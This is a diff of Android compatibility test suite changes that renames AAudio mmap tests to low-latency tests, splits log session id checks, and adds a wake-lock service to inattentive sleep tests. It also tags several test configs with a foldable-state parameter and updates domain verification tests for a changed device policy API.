@@ -447,16 +447,16 @@
     }
 
     /**
-     * Open aaudio mmap output stream and then close
+     * Open aaudio low latency output stream and then close
      */
     @Test
-    public native void testAAudioMmapOutputStream();
+    public native void testAAudioLowLatencyOutputStream();
 
     /**
-     * Open aaudio mmap input stream and then close
+     * Open aaudio low latency input stream and then close
      */
     @Test
-    public native void testAAudioMmapInputStream();
+    public native void testAAudioLowLatencyInputStream();
 
     /**
      * Open aaudio legacy output stream and then close
diff --git a/hostsidetests/media/src/android/media/cts/MediaExtractorHostSideTest.java b/hostsidetests/media/src/android/media/cts/MediaExtractorHostSideTest.java
index c0240dd..f0c8a9b 100644
--- a/hostsidetests/media/src/android/media/cts/MediaExtractorHostSideTest.java
+++ b/hostsidetests/media/src/android/media/cts/MediaExtractorHostSideTest.java
@@ -84,9 +84,17 @@
                 .isEqualTo(MediametricsMessage.ExtractorData.EntryPoint.NDK_WITH_JVM);
     }
 
-    public void testMediaMetricsLogSessionId() throws Exception {
-        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, DEVICE_SIDE_TEST_CLASS, "testLogSessionId");
-        assertThat(getMediaExtractorReportedLogSessionId()).isEqualTo("FakeLogSessionId");
+    public void testMediaMetricsInvalidLogSessionId() throws Exception {
+        runDeviceTests(
+                DEVICE_SIDE_TEST_PACKAGE, DEVICE_SIDE_TEST_CLASS, "testInvalidLogSessionId");
+        // An invalid log session is blocked from statsd, so the reported id is empty.
+        assertThat(getMediaExtractorReportedLogSessionId()).isEmpty();
+    }
+
+    public void testMediaMetricsValidLogSessionId() throws Exception {
+        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, DEVICE_SIDE_TEST_CLASS, "testValidLogSessionId");
+        // A valid log session id is sent to statsd, so the reported id is not empty.
+        assertThat(getMediaExtractorReportedLogSessionId()).isNotEmpty();
     }
 
     // Internal methods.
diff --git a/hostsidetests/media/src/android/media/metrics/cts/MediaMetricsAtomTests.java b/hostsidetests/media/src/android/media/metrics/cts/MediaMetricsAtomTests.java
index 651abcc..02a49da 100644
--- a/hostsidetests/media/src/android/media/metrics/cts/MediaMetricsAtomTests.java
+++ b/hostsidetests/media/src/android/media/metrics/cts/MediaMetricsAtomTests.java
@@ -568,29 +568,29 @@
     }
 
     /**
-     * The test try to create and then close aaudio input stream with mmap path via media metrics
+     * The test try to create and then close aaudio input stream with low latency via media metrics
      * atom host side test app on the DUT.
      * After that, the event metric data for MediametricsAAudioStreamReported is pushed to verify
      * the data is collected correctly.
      */
-    public void testAAudioMmapInputStream() throws Exception {
+    public void testAAudioLowLatencyInputStream() throws Exception {
         runAAudioTestAndValidate(
                 FEATURE_MICROPHONE,
                 AtomsProto.MediametricsAAudioStreamReported.Direction.DIRECTION_INPUT_VALUE,
-                "testAAudioMmapInputStream");
+                "testAAudioLowLatencyInputStream");
     }
 
     /**
-     * The test try to create and then close aaudio output stream with mmap path via media metrics
+     * The test try to create and then close aaudio output stream with low latency via media metrics
      * atom host side test app on the DUT.
      * After that, the event metric data for MediametricsAAudioStreamReported is pushed to verify
      * the data is collected correctly.
      */
-    public void testAAudioMmapOutputStream() throws Exception {
+    public void testAAudioLowLatencyOutputStream() throws Exception {
         runAAudioTestAndValidate(
                 FEATURE_AUDIO_OUTPUT,
                 AtomsProto.MediametricsAAudioStreamReported.Direction.DIRECTION_OUTPUT_VALUE,
-                "testAAudioMmapOutputStream");
+                "testAAudioLowLatencyOutputStream");
     }
 
     /**
diff --git a/hostsidetests/mediaparser/AndroidTest.xml b/hostsidetests/mediaparser/AndroidTest.xml
index 7d53939..6f4ce77 100644
--- a/hostsidetests/mediaparser/AndroidTest.xml
+++ b/hostsidetests/mediaparser/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsMediaParserHostTestCases.jar" />
         <option name="runtime-hint" value="3m" />
diff --git a/hostsidetests/mediaparser/src/android/media/mediaparser/cts/MediaParserHostSideTest.java b/hostsidetests/mediaparser/src/android/media/mediaparser/cts/MediaParserHostSideTest.java
index 50bfa84..088dfeb 100644
--- a/hostsidetests/mediaparser/src/android/media/mediaparser/cts/MediaParserHostSideTest.java
+++ b/hostsidetests/mediaparser/src/android/media/mediaparser/cts/MediaParserHostSideTest.java
@@ -87,10 +87,14 @@
 
     // Tests.
 
-    public void testLogSessionId() throws Exception {
-        runDeviceTest("testLogSessionId");
-        assertThat(getSingleMediaParserReportedEvent().getLogSessionId())
-                .isEqualTo("FakeLogSessionId");
+    public void testDefaultLogSessionId() throws Exception {
+        runDeviceTest("testDefaultLogSessionId");
+        assertThat(getSingleMediaParserReportedEvent().getLogSessionId()).isEmpty();
+    }
+
+    public void testSetLogSessionId() throws Exception {
+        runDeviceTest("testSetLogSessionId");
+        assertThat(getSingleMediaParserReportedEvent().getLogSessionId()).isNotEmpty();
     }
 
     public void testCreationByNameMetrics() throws Exception {
diff --git a/hostsidetests/multiuser/src/android/host/multiuser/BaseMultiUserTest.java b/hostsidetests/multiuser/src/android/host/multiuser/BaseMultiUserTest.java
index a94ceea..7df340d 100644
--- a/hostsidetests/multiuser/src/android/host/multiuser/BaseMultiUserTest.java
+++ b/hostsidetests/multiuser/src/android/host/multiuser/BaseMultiUserTest.java
@@ -136,6 +136,10 @@
         return -1;
     }
 
+    protected void assumeGuestDoesNotExist() throws Exception {
+        assumeTrue("Device already has a guest user", getGuestUser() == -1);
+    }
+
     protected void assumeIsAutomotive() throws Exception {
         assumeTrue("Device does not have " + FEATURE_AUTOMOTIVE,
                 getDevice().hasFeature(FEATURE_AUTOMOTIVE));
diff --git a/hostsidetests/multiuser/src/android/host/multiuser/CreateUsersPermissionTest.java b/hostsidetests/multiuser/src/android/host/multiuser/CreateUsersPermissionTest.java
index 4f19d81..bd3ed1b 100644
--- a/hostsidetests/multiuser/src/android/host/multiuser/CreateUsersPermissionTest.java
+++ b/hostsidetests/multiuser/src/android/host/multiuser/CreateUsersPermissionTest.java
@@ -34,6 +34,10 @@
 
     @Test
     public void testCanCreateGuestUser() throws Exception {
+        // The device may already have a guest present if it is configured with
+        // config_guestUserAutoCreated. If so, skip the test.
+        assumeGuestDoesNotExist();
+
         createGuestUser();
     }
 
diff --git a/hostsidetests/numberblocking/AndroidTest.xml b/hostsidetests/numberblocking/AndroidTest.xml
index 9f44925..8a00fc3 100644
--- a/hostsidetests/numberblocking/AndroidTest.xml
+++ b/hostsidetests/numberblocking/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsHostsideNumberBlockingAppTest.apk" />
diff --git a/hostsidetests/os/src/android/os/cts/InattentiveSleepTests.java b/hostsidetests/os/src/android/os/cts/InattentiveSleepTests.java
index e117d14..1e04774 100644
--- a/hostsidetests/os/src/android/os/cts/InattentiveSleepTests.java
+++ b/hostsidetests/os/src/android/os/cts/InattentiveSleepTests.java
@@ -40,15 +40,20 @@
 @RunWith(DeviceJUnit4ClassRunner.class)
 public class InattentiveSleepTests extends BaseHostJUnit4Test {
     private static final String FEATURE_LEANBACK_ONLY = "android.software.leanback_only";
-    private static final String PACKAGE_NAME = "android.os.inattentivesleeptests";
     private static final String APK_NAME = "CtsInattentiveSleepTestApp.apk";
 
     private static final long TIME_BEFORE_WARNING_MS = 1200L;
 
     private static final String CMD_DUMPSYS_POWER = "dumpsys power --proto";
     private static final String WARNING_WINDOW_TOKEN_TITLE = "InattentiveSleepWarning";
-    private static final String CMD_START_APP_TEMPLATE =
-            "am start -W -a android.intent.action.MAIN -p %s -c android.intent.category.LAUNCHER";
+    private static final String ACTIVITY_KEEP_SCREEN_ON = ".KeepScreenOnActivity";
+    private static final String SERVICE_PARTIAL_WAKE_LOCK = ".PartialWakeLockService";
+    private static final String CMD_START_ACTIVITY_TEMPLATE =
+            "am start -W android.os.inattentivesleeptests/%s";
+    private static final String CMD_START_FG_SERVICE_TEMPLATE =
+            "am start-foreground-service android.os.inattentivesleeptests/%s";
+    private static final String CMD_STOP_SERVICE_TEMPLATE =
+            "am stop-service android.os.inattentivesleeptests/%s";
 
     private static final String CMD_GET_STAY_ON = "settings get global stay_on_while_plugged_in";
     private static final String CMD_PUT_STAY_ON_TEMPLATE =
@@ -81,12 +86,20 @@
         mWarningDurationConfig = getWarningDurationConfig();
         mOriginalStayOnSetting = Long.parseLong(
                 mDevice.executeShellCommand(CMD_GET_STAY_ON).trim());
+
+        installPackage(APK_NAME);
+
+        // Prevent the device from suspending while screen is off
+        startPartialWakeLockService();
+
         mDevice.executeShellCommand(CMD_DISABLE_STAY_ON);
         setInattentiveSleepTimeout(TIME_BEFORE_WARNING_MS + mWarningDurationConfig);
     }
 
     @After
     public void tearDown() throws Exception {
+        wakeUp();
+        stopPartialWakeLockService();
         mDevice.executeShellCommand(
                 String.format(CMD_PUT_STAY_ON_TEMPLATE, mOriginalStayOnSetting));
         mDevice.executeShellCommand(CMD_DELETE_TIMEOUT_SETTING);
@@ -101,9 +114,19 @@
         mDevice.executeShellCommand(CMD_KEYEVENT_WAKEUP);
     }
 
+    private void startPartialWakeLockService() throws Exception {
+        mDevice.executeShellCommand(
+                String.format(CMD_START_FG_SERVICE_TEMPLATE, SERVICE_PARTIAL_WAKE_LOCK));
+    }
+
+    private void stopPartialWakeLockService() throws Exception {
+        mDevice.executeShellCommand(
+                String.format(CMD_STOP_SERVICE_TEMPLATE, SERVICE_PARTIAL_WAKE_LOCK));
+    }
+
     private void startKeepScreenOnActivity() throws Exception {
-        installPackage(APK_NAME);
-        mDevice.executeShellCommand(String.format(CMD_START_APP_TEMPLATE, PACKAGE_NAME));
+        mDevice.executeShellCommand(
+                String.format(CMD_START_ACTIVITY_TEMPLATE, ACTIVITY_KEEP_SCREEN_ON));
     }
 
     private void setInattentiveSleepTimeout(long timeoutMs) throws Exception {
diff --git a/hostsidetests/os/test-apps/InattentiveSleepTestApp/AndroidManifest.xml b/hostsidetests/os/test-apps/InattentiveSleepTestApp/AndroidManifest.xml
index 3588a14..5994c7f 100755
--- a/hostsidetests/os/test-apps/InattentiveSleepTestApp/AndroidManifest.xml
+++ b/hostsidetests/os/test-apps/InattentiveSleepTestApp/AndroidManifest.xml
@@ -18,7 +18,11 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
      package="android.os.inattentivesleeptests"
      android:targetSandboxVersion="2">
+    <uses-permission android:name="android.permission.WAKE_LOCK" />
+    <uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
     <application>
+        <service android:name=".PartialWakeLockService"
+             android:exported="true" />
         <activity android:name=".KeepScreenOnActivity"
              android:exported="true">
             <intent-filter>
diff --git a/hostsidetests/os/test-apps/InattentiveSleepTestApp/src/android/os/inattentivesleeptests/PartialWakeLockService.java b/hostsidetests/os/test-apps/InattentiveSleepTestApp/src/android/os/inattentivesleeptests/PartialWakeLockService.java
new file mode 100644
index 0000000..d64fa84
--- /dev/null
+++ b/hostsidetests/os/test-apps/InattentiveSleepTestApp/src/android/os/inattentivesleeptests/PartialWakeLockService.java
@@ -0,0 +1,75 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.os.inattentivesleeptests;
+
+import static android.os.PowerManager.PARTIAL_WAKE_LOCK;
+
+import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
+import android.app.Service;
+import android.content.Intent;
+import android.os.IBinder;
+import android.os.PowerManager;
+
+/** Service that holds a partial wakelock until stopped */
+public class PartialWakeLockService extends Service {
+    private static final String TAG = "PartialWakeLockService";
+    private static final String NOTIFICATION_CHANNEL_ID = "Inattentive Sleep Tests";
+
+    private PowerManager.WakeLock mWakeLock;
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        return null;
+    }
+
+    @Override
+    public void onCreate() {
+        NotificationManager notificationManager = getSystemService(NotificationManager.class);
+        NotificationChannel channel = new NotificationChannel(NOTIFICATION_CHANNEL_ID,
+                NOTIFICATION_CHANNEL_ID, NotificationManager.IMPORTANCE_LOW);
+        notificationManager.createNotificationChannel(channel);
+    }
+
+    @Override
+    public int onStartCommand(Intent intent, int flags, int startId) {
+        if (mWakeLock == null) {
+            PowerManager powerManager = getSystemService(PowerManager.class);
+            mWakeLock = powerManager.newWakeLock(PARTIAL_WAKE_LOCK, TAG);
+            mWakeLock.setReferenceCounted(false);
+        }
+        mWakeLock.acquire();
+
+        Notification notification = new Notification.Builder(this, NOTIFICATION_CHANNEL_ID)
+                .setContentTitle("Inattentive Sleep CTS Tests")
+                .setContentText("Keeping partial wakelock during the test")
+                .setSmallIcon(android.R.drawable.ic_secure)
+                .build();
+
+        startForeground(1, notification);
+
+        return Service.START_NOT_STICKY;
+    }
+
+    @Override
+    public void onDestroy() {
+        if (mWakeLock != null) {
+            mWakeLock.release();
+        }
+    }
+}
diff --git a/hostsidetests/packagemanager/codepath/AndroidTest.xml b/hostsidetests/packagemanager/codepath/AndroidTest.xml
index 2eb68ce..083a00f 100644
--- a/hostsidetests/packagemanager/codepath/AndroidTest.xml
+++ b/hostsidetests/packagemanager/codepath/AndroidTest.xml
@@ -20,6 +20,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsCodePathHostTestCases.jar" />
     </test>
diff --git a/hostsidetests/packagemanager/domainverification/apps/declaring/Android.bp b/hostsidetests/packagemanager/domainverification/apps/declaring/Android.bp
index 94d712f..80caeb5 100644
--- a/hostsidetests/packagemanager/domainverification/apps/declaring/Android.bp
+++ b/hostsidetests/packagemanager/domainverification/apps/declaring/Android.bp
@@ -36,6 +36,7 @@
         "cts_defaults",
         "CtsDomainVerificationTestDeclaringAppDefaults",
     ],
+    min_sdk_version: "31",
     sdk_version: "test_current",
     aaptflags: ["--rename-manifest-package com.android.cts.packagemanager.verify.domain.declaringapp1"],
 }
@@ -47,6 +48,7 @@
         "cts_defaults",
         "CtsDomainVerificationTestDeclaringAppDefaults",
     ],
+    min_sdk_version: "31",
     sdk_version: "test_current",
     aaptflags: ["--rename-manifest-package com.android.cts.packagemanager.verify.domain.declaringapp2"],
 }
diff --git a/hostsidetests/packagemanager/domainverification/device/multiuser/AndroidTest.xml b/hostsidetests/packagemanager/domainverification/device/multiuser/AndroidTest.xml
index b88adb4..70b742e 100644
--- a/hostsidetests/packagemanager/domainverification/device/multiuser/AndroidTest.xml
+++ b/hostsidetests/packagemanager/domainverification/device/multiuser/AndroidTest.xml
@@ -23,6 +23,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <!-- Device admin/owner requires being run in system user -->
     <option name="config-descriptor:metadata" key="parameter" value="not_secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
 
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/packagemanager/domainverification/device/multiuser/src/com/android/cts/packagemanager/verify/domain/device/multiuser/DomainVerificationWorkProfileAllowParentLinkingTests.kt b/hostsidetests/packagemanager/domainverification/device/multiuser/src/com/android/cts/packagemanager/verify/domain/device/multiuser/DomainVerificationWorkProfileAllowParentLinkingTests.kt
index 8ebe89b..bf226ff 100644
--- a/hostsidetests/packagemanager/domainverification/device/multiuser/src/com/android/cts/packagemanager/verify/domain/device/multiuser/DomainVerificationWorkProfileAllowParentLinkingTests.kt
+++ b/hostsidetests/packagemanager/domainverification/device/multiuser/src/com/android/cts/packagemanager/verify/domain/device/multiuser/DomainVerificationWorkProfileAllowParentLinkingTests.kt
@@ -21,6 +21,7 @@
 import com.android.bedstead.harrier.annotations.EnsureHasWorkProfile
 import com.android.bedstead.harrier.annotations.Postsubmit
 import com.android.bedstead.harrier.annotations.RequireRunOnPrimaryUser
+import com.android.bedstead.remotedpc.RemoteDpc.DPC_COMPONENT_NAME
 import org.junit.After
 import org.junit.Before
 import org.junit.Test
@@ -36,17 +37,17 @@
     @Before
     fun saveAndSetPolicy() {
         val manager = deviceState.getWorkDevicePolicyManager()
-        initialAppLinkPolicy = manager.getAppLinkPolicy()
+        initialAppLinkPolicy = manager.getAppLinkPolicy(DPC_COMPONENT_NAME)
         if (initialAppLinkPolicy != true) {
-            manager.setAppLinkPolicy(true)
+            manager.setAppLinkPolicy(DPC_COMPONENT_NAME, true)
         }
     }
 
     @After
     fun resetPolicy() {
         val manager = deviceState.getWorkDevicePolicyManager()
-        if (initialAppLinkPolicy ?: return != manager.getAppLinkPolicy()) {
-            manager.setAppLinkPolicy(initialAppLinkPolicy!!)
+        if (initialAppLinkPolicy ?: return != manager.getAppLinkPolicy(DPC_COMPONENT_NAME)) {
+            manager.setAppLinkPolicy(DPC_COMPONENT_NAME, initialAppLinkPolicy!!)
         }
     }
 
diff --git a/hostsidetests/packagemanager/domainverification/device/multiuser/src/com/android/cts/packagemanager/verify/domain/device/multiuser/DomainVerificationWorkProfileCrossProfileIntentTests.kt b/hostsidetests/packagemanager/domainverification/device/multiuser/src/com/android/cts/packagemanager/verify/domain/device/multiuser/DomainVerificationWorkProfileCrossProfileIntentTests.kt
index 4fb836e..4062d98 100644
--- a/hostsidetests/packagemanager/domainverification/device/multiuser/src/com/android/cts/packagemanager/verify/domain/device/multiuser/DomainVerificationWorkProfileCrossProfileIntentTests.kt
+++ b/hostsidetests/packagemanager/domainverification/device/multiuser/src/com/android/cts/packagemanager/verify/domain/device/multiuser/DomainVerificationWorkProfileCrossProfileIntentTests.kt
@@ -24,6 +24,7 @@
 import com.android.bedstead.harrier.annotations.EnsureHasWorkProfile
 import com.android.bedstead.harrier.annotations.Postsubmit
 import com.android.bedstead.harrier.annotations.RequireRunOnPrimaryUser
+import com.android.bedstead.remotedpc.RemoteDpc.DPC_COMPONENT_NAME
 import com.android.cts.packagemanager.verify.domain.java.DomainUtils.DOMAIN_1
 import org.junit.After
 import org.junit.Before
@@ -41,9 +42,9 @@
     @Before
     fun saveAndSetPolicy() {
         val manager = deviceState.getWorkDevicePolicyManager()
-        initialAppLinkPolicy = manager.getAppLinkPolicy()
+        initialAppLinkPolicy = manager.getAppLinkPolicy(DPC_COMPONENT_NAME)
         if (initialAppLinkPolicy != false) {
-            manager.setAppLinkPolicy(false)
+            manager.setAppLinkPolicy(DPC_COMPONENT_NAME, false)
         }
 
         val intentFilter = IntentFilter().apply {
@@ -54,6 +55,7 @@
             addDataAuthority(DOMAIN_1, null)
         }
         manager.addCrossProfileIntentFilter(
+            DPC_COMPONENT_NAME,
             intentFilter,
             DevicePolicyManager.FLAG_PARENT_CAN_ACCESS_MANAGED
                     or DevicePolicyManager.FLAG_MANAGED_CAN_ACCESS_PARENT
@@ -63,10 +65,10 @@
     @After
     fun resetPolicy() {
         val manager = deviceState.getWorkDevicePolicyManager()
-        if (initialAppLinkPolicy ?: return != manager.getAppLinkPolicy()) {
-            manager.setAppLinkPolicy(initialAppLinkPolicy!!)
+        if (initialAppLinkPolicy ?: return != manager.getAppLinkPolicy(DPC_COMPONENT_NAME)) {
+            manager.setAppLinkPolicy(DPC_COMPONENT_NAME, initialAppLinkPolicy!!)
         }
-        manager.clearCrossProfileIntentFilters()
+        manager.clearCrossProfileIntentFilters(DPC_COMPONENT_NAME)
     }
 
     @RequireRunOnPrimaryUser
diff --git a/hostsidetests/packagemanager/domainverification/device/multiuser/src/com/android/cts/packagemanager/verify/domain/device/multiuser/DomainVerificationWorkProfileTestsBase.kt b/hostsidetests/packagemanager/domainverification/device/multiuser/src/com/android/cts/packagemanager/verify/domain/device/multiuser/DomainVerificationWorkProfileTestsBase.kt
index 7fd0319..dff94b8 100644
--- a/hostsidetests/packagemanager/domainverification/device/multiuser/src/com/android/cts/packagemanager/verify/domain/device/multiuser/DomainVerificationWorkProfileTestsBase.kt
+++ b/hostsidetests/packagemanager/domainverification/device/multiuser/src/com/android/cts/packagemanager/verify/domain/device/multiuser/DomainVerificationWorkProfileTestsBase.kt
@@ -64,7 +64,6 @@
         @Rule
         val deviceState = DeviceState()
 
-        private val testApis = TestApis()
         private val TARGET_INTENT = Intent(Intent.ACTION_VIEW, Uri.parse("https://$DOMAIN_1"))
         private val BROWSER_INTENT =
             Intent(Intent.ACTION_VIEW, Uri.parse("https://$DOMAIN_UNHANDLED"))
@@ -105,7 +104,7 @@
             workUser = deviceState.workProfile(DeviceState.UserType.PRIMARY_USER)
             personalBrowsers = collectBrowsers(personalUser)
             workBrowsers = collectBrowsers(workUser)
-            testApis.packages().run {
+            TestApis.packages().run {
                 install(personalUser, Packages.JavaResource.javaResource(DECLARING_PKG_APK_1.value))
                 install(workUser, Packages.JavaResource.javaResource(DECLARING_PKG_APK_2.value))
             }
@@ -114,14 +113,14 @@
         @JvmStatic
         @AfterClass
         fun uninstallApks() {
-            testApis.packages().run {
+            TestApis.packages().run {
                 find(PERSONAL_APP).uninstallFromAllUsers()
                 find(WORK_APP).uninstallFromAllUsers()
             }
         }
 
         private fun collectBrowsers(user: UserReference) =
-            testApis.withUserContext(user) { context ->
+            withUserContext(user) { context ->
                 context.packageManager
                     .queryIntentActivities(BROWSER_INTENT, PackageManager.MATCH_DEFAULT_ONLY)
                     .map { it.activityInfo }
@@ -135,7 +134,7 @@
 
         @JvmStatic
         protected fun assertResolvesTo(components: Collection<ComponentName>) {
-            val results = testApis.context()
+            val results = TestApis.context()
                 .instrumentedContext()
                 .packageManager
                 .queryIntentActivities(TARGET_INTENT, PackageManager.MATCH_DEFAULT_ONLY)
@@ -156,7 +155,7 @@
     @After
     fun resetState() {
         listOf(personalUser, workUser).forEach {
-            testApis.withUserContext(it) {
+            withUserContext(it) {
                 SharedVerifications.reset(it, resetEnable = true)
             }
         }
diff --git a/hostsidetests/packagemanager/domainverification/device/multiuser/src/com/android/cts/packagemanager/verify/domain/device/multiuser/DomainVerificationWorkUtils.kt b/hostsidetests/packagemanager/domainverification/device/multiuser/src/com/android/cts/packagemanager/verify/domain/device/multiuser/DomainVerificationWorkUtils.kt
index 39da4cc..955a078 100644
--- a/hostsidetests/packagemanager/domainverification/device/multiuser/src/com/android/cts/packagemanager/verify/domain/device/multiuser/DomainVerificationWorkUtils.kt
+++ b/hostsidetests/packagemanager/domainverification/device/multiuser/src/com/android/cts/packagemanager/verify/domain/device/multiuser/DomainVerificationWorkUtils.kt
@@ -21,23 +21,26 @@
 import com.android.bedstead.harrier.DeviceState
 import com.android.bedstead.nene.TestApis
 import com.android.bedstead.nene.users.UserReference
-import com.android.bedstead.remotedpc.managers.RemoteDevicePolicyManager
+import android.app.admin.RemoteDevicePolicyManager
+import android.content.ComponentName
 
-internal fun RemoteDevicePolicyManager.getAppLinkPolicy() =
-    getUserRestrictions()?.getBoolean(UserManager.ALLOW_PARENT_PROFILE_APP_LINKING, false) ?: false
+internal fun RemoteDevicePolicyManager.getAppLinkPolicy(admin: ComponentName) =
+    getUserRestrictions(admin)?.getBoolean(
+            UserManager.ALLOW_PARENT_PROFILE_APP_LINKING, false) ?: false
 
-internal fun RemoteDevicePolicyManager.setAppLinkPolicy(allow: Boolean) {
+internal fun RemoteDevicePolicyManager.setAppLinkPolicy(admin: ComponentName, allow: Boolean) {
     if (allow) {
-        addUserRestriction(UserManager.ALLOW_PARENT_PROFILE_APP_LINKING)
+        addUserRestriction(admin, UserManager.ALLOW_PARENT_PROFILE_APP_LINKING)
     } else {
-        clearUserRestriction(UserManager.ALLOW_PARENT_PROFILE_APP_LINKING)
+        clearUserRestriction(admin, UserManager.ALLOW_PARENT_PROFILE_APP_LINKING)
     }
 }
 
 internal fun DeviceState.getWorkDevicePolicyManager() =
-    profileOwner(workProfile(DeviceState.UserType.PRIMARY_USER))!!.devicePolicyManager()
+    profileOwner(workProfile(DeviceState.UserType.PRIMARY_USER))!!
+            .devicePolicyManager()
 
-internal fun <T> TestApis.withUserContext(user: UserReference, block: (context: Context) -> T) =
-    permissions()
+internal fun <T> withUserContext(user: UserReference, block: (context: Context) -> T) =
+    TestApis.permissions()
         .withPermission("android.permission.INTERACT_ACROSS_USERS_FULL")
-        .use { block(context().androidContextAsUser(user)) }
+        .use { block(TestApis.context().androidContextAsUser(user)) }
diff --git a/hostsidetests/packagemanager/domainverification/device/standalone/Android.bp b/hostsidetests/packagemanager/domainverification/device/standalone/Android.bp
index 8990d84..9f95449 100644
--- a/hostsidetests/packagemanager/domainverification/device/standalone/Android.bp
+++ b/hostsidetests/packagemanager/domainverification/device/standalone/Android.bp
@@ -21,10 +21,11 @@
     srcs: [ "src/**/*.kt" ],
     test_suites: [
         "cts",
+        "gts",
         "device-tests",
     ],
     defaults: ["cts_defaults"],
-    sdk_version: "test_current",
+    min_sdk_version: "4",
     static_libs: [
         "androidx.test.ext.junit",
         "androidx.test.rules",
diff --git a/hostsidetests/packagemanager/domainverification/device/standalone/AndroidManifest.xml b/hostsidetests/packagemanager/domainverification/device/standalone/AndroidManifest.xml
index fba5376..ce89e2b 100644
--- a/hostsidetests/packagemanager/domainverification/device/standalone/AndroidManifest.xml
+++ b/hostsidetests/packagemanager/domainverification/device/standalone/AndroidManifest.xml
@@ -15,8 +15,13 @@
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.packagemanager.verify.domain.device.standalone"
-    >
+          xmlns:tools="http://schemas.android.com/tools"
+          package="com.android.cts.packagemanager.verify.domain.device.standalone"
+          >
+
+    <uses-sdk android:minSdkVersion="14" android:targetSdkVersion="17"
+              tools:overrideLibrary="com.android.cts.packagemanager.verify.domain.constants.android"
+              />
 
     <application android:label="Device Test App" android:testOnly="true">
         <uses-library android:name="android.test.runner" />
diff --git a/hostsidetests/packagemanager/domainverification/device/standalone/AndroidTest.xml b/hostsidetests/packagemanager/domainverification/device/standalone/AndroidTest.xml
index d346a62..e7afa10 100644
--- a/hostsidetests/packagemanager/domainverification/device/standalone/AndroidTest.xml
+++ b/hostsidetests/packagemanager/domainverification/device/standalone/AndroidTest.xml
@@ -15,19 +15,27 @@
   -->
 <configuration description="Config for CTS domain verification device standalone test cases">
     <option name="test-suite-tag" value="cts" />
+    <option name="test-suite-tag" value="gts" />
     <option name="config-descriptor:metadata" key="component" value="framework" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
 
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
+        <option name="check-min-sdk" value="true" />
         <option name="test-file-name" value="CtsDomainVerificationDeviceStandaloneTestCases.apk" />
         <option name="test-file-name" value="CtsDomainVerificationTestDeclaringApp1.apk" />
         <option name="test-file-name" value="CtsDomainVerificationTestDeclaringApp2.apk" />
         <option name="install-arg" value="-t" />
     </target_preparer>
 
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+        <option name="cleanup" value="true" />
+        <option name="push" value="CtsDomainVerificationTestDeclaringApp1.apk->/data/local/tmp/CtsDomainVerificationTestDeclaringApp1.apk" />
+    </target_preparer>
+
     <test class="com.android.tradefed.testtype.AndroidJUnitTest">
         <option name="package"
             value="com.android.cts.packagemanager.verify.domain.device.standalone" />
diff --git a/hostsidetests/packagemanager/domainverification/device/standalone/src/com/android/cts/packagemanager/verify/domain/device/standalone/DomainVerificationIntentStandaloneTests.kt b/hostsidetests/packagemanager/domainverification/device/standalone/src/com/android/cts/packagemanager/verify/domain/device/standalone/DomainVerificationIntentStandaloneTests.kt
index fab5eb3..65ffb11 100644
--- a/hostsidetests/packagemanager/domainverification/device/standalone/src/com/android/cts/packagemanager/verify/domain/device/standalone/DomainVerificationIntentStandaloneTests.kt
+++ b/hostsidetests/packagemanager/domainverification/device/standalone/src/com/android/cts/packagemanager/verify/domain/device/standalone/DomainVerificationIntentStandaloneTests.kt
@@ -17,6 +17,10 @@
 package com.android.cts.packagemanager.verify.domain.device.standalone
 
 import android.content.pm.verify.domain.DomainVerificationUserState
+import android.os.Build
+import com.android.compatibility.common.util.ApiLevelUtil
+import com.android.compatibility.common.util.CtsDownstreamingTest
+import com.android.compatibility.common.util.SystemUtil
 import com.android.cts.packagemanager.verify.domain.android.DomainUtils.DECLARING_PKG_1_COMPONENT
 import com.android.cts.packagemanager.verify.domain.android.DomainUtils.DECLARING_PKG_2_COMPONENT
